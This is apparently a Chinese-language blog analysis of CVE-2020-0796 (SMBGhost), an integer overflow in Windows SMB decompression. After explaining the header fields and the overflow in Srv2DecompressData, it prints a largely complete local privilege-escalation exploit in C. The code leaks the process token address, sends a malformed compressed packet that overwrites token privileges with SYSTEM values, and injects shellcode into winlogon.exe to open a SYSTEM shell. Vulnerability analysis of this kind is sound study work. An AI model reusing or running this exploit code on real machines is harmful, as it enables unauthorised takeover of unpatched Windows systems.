CVE-2020-0796 SMB Ghost 整数溢出漏洞

漏洞位置:SMB服务驱动srv2.sys和srvnet.sys

漏洞原因:用户态可控数据传入内核,SMB在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,导致整数溢出,最后通过构造payload,实现任意地址写,替换token权限提权

漏洞分析#

SMB进程权限#

image-20210322195405185

SMB服务使用端口为139和445端口,可以查到对应进程为PID,也就是权限为system的System.exe进程

image-20210322195418464

因此进程token即为System token

SMB格式#

img

SMB Compression Transform Header的结构

  • ProtocolId :4字节,固定为0x424D53FC
  • OriginalComressedSegmentSize :4字节,原始的未压缩数据大小
  • CompressionAlgorithm :2字节,压缩算法
  • Flags :2字节,详见协议文档
  • Offset/Length :根据Flags的取值为Offset或者Length,Offset表示数据包中压缩数据相对于当前结构的偏移

漏洞位置#

OriginalCompressedSegmentSize和Offset/Length是由用户控制的数值,且为32位长度,在函数Srv2DecompressData中,由于需要先申请一块内存,因此调用SrvNetAllocateBuffer申请内存,长度参数为下面红框相加部分,由于没有检查溢出(OriginalCompressedSegmentSize+Offset),因此溢出后可以分配到一个很小的空间

image-20210322195439665

exp分析#

  • 创建SMB Server的连接
  • 获取自身token数据结构中privilege成员在内核中的地址tokenAddr
  • 发送畸形数据触发漏洞,包含tokenAddr、权限数据、占位数据
  • 触发漏洞,修改tokenAddr地址处权限数据,提升自身权限
  • 控制winlogon,创建System权限shell

创建SMB连接#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
  if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
printf("Couldn't find a usable version of Winsock.dll\n");
WSACleanup();
return EXIT_FAILURE;
}

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
printf("socket() failed with error: %d\n", WSAGetLastError());
WSACleanup();
return EXIT_FAILURE;
}

sockaddr_in client;
client.sin_family = AF_INET;
client.sin_port = htons(445);
InetPton(AF_INET, "127.0.0.1", &client.sin_addr);

if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) {
return error_exit(sock, "connect()");
}

printf("Successfully connected socket descriptor: %d\n", (int)sock);
printf("Sending SMB negotiation request...\n");

if (send_negotiation(sock) == SOCKET_ERROR) {
printf("Couldn't finish SMB negotiation\n");
return error_exit(sock, "send()");
}

printf("Finished SMB negotiation\n");

获取自身进程token地址#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ULONG64 get_process_token() {
HANDLE token;
HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (proc == INVALID_HANDLE_VALUE)
return 0;

OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);
ULONG64 ktoken = get_handle_addr(token);

return ktoken;
}
--------------------------------------------------------------
ktoken = get_process_token();
if (ktoken == -1) {
printf("Couldn't leak ktoken of current process...\n");
return EXIT_FAILURE;
}
printf("Found kernel token at %#llx\n", ktoken);

准备payload#

1
2
3
4
5
6
7
8
9
   ULONG buffer_size = 0x1110;
UCHAR *buffer = (UCHAR *)malloc(buffer_size);
if (buffer == NULL) {
printf("Couldn't allocate memory with malloc()\n");
return error_exit(sock, NULL);
}

memset(buffer, 'A', 0x1108);
*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */

构造并发送压缩后的数据#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {
int err = 0;
char response[8] = { 0 };

const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,

/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};

uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);
if (packet == NULL) {
printf("Couldn't allocate memory with malloc()\n");
return error_exit(sock, NULL);
}

memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, buffer, len);

if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {
recv(sock, response, sizeof(response), 0);
}

free(packet);
return err;
}
-----------------------------------------------
if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {
return error_exit(sock, "send()");
}

注入winlogon进程,开启shell#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
void inject(void) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);

uint8_t shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54,
0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,
0xff, 0xc2, // inc edx (1 = SW_SHOW)
0xFF, 0xD7, 0x48, 0x83, 0xC4,
0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00
};

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

int pid = -1;
if (Process32First(snapshot, &entry) == TRUE) {
while (Process32Next(snapshot, &entry) == TRUE) {
if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);

if (pid < 0) {
printf("Could not find process\n");
return;
}
printf("Injecting shellcode in winlogon...\n");

HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProc == NULL) {
printf("Could not open process\n");
return;
}

LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpMem == NULL) {
printf("Remote allocation failed\n");
return;
}
if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) {
printf("Remote write failed\n");
return;
}
if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {
printf("CreateRemoteThread failed\n");
return;
}

printf("Success! ;)\n");
}

利用分析#

分配内存数据#

1
2
3
4
5
6
/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */

溢出构造:0xffffffff+0x10溢出为0xf

img

0x1ff2ffffbc

image-20210322193011259

image-20210322193820772

0xf对应于0x1100的表项,但其实分配内存大于0x1100,为0x1100 + 0xE8 + 2*(MmSizeOfMdl + 8)

image-20210322194046658

最后返回的return_buffer是一个初始化后的内存数据结构

image-20210322194929310

分配后的结构如下:

img

return_buffer+0x18指向了0x50处的位置

解压payload#

image-20210322203657294

解压函数参数含义如下:

1
2
3
4
5
6
SmbCompressionDecompress(CompressAlgo,//压缩算法
Compressed_buf,//指向数据包中的压缩数据
Compressed_size,//数据包中压缩数据大小,计算得到
UnCompressedBuf,//解压后的数据存储地址,*(return_buffer+0x18)+0x10
UnCompressedSize,//压缩数据原始大小,源于数据包OriginalCompressedSegmentSize
FinalUnCompressedSize)//最终解压后数据大小

通过解压,将payload解压到*(return_buffer+0x18)+0x10位置,也就是图中0x60所指位置

img

img

移动payload实现攻击#

image-20210322203831509

1
memmove((alloc_buffer+0x18),SMB_payload,offset)

此时alloc_buffer指向tokenAddr地址,而SMB_payload则是对应的权限数据,因此可以实现替换token权限攻击

为什么是0x1ff2ffffbc#

img

tokenAddr+0x40是权限位置,控制当前进程权限

img

System进程token+0x40位置的值为0x1ff2ffffbc,因此替换后就使得当前进程拥有了System进程权限,继而通过注入其他进程获取系统权限的cmd。

参考链接#

评论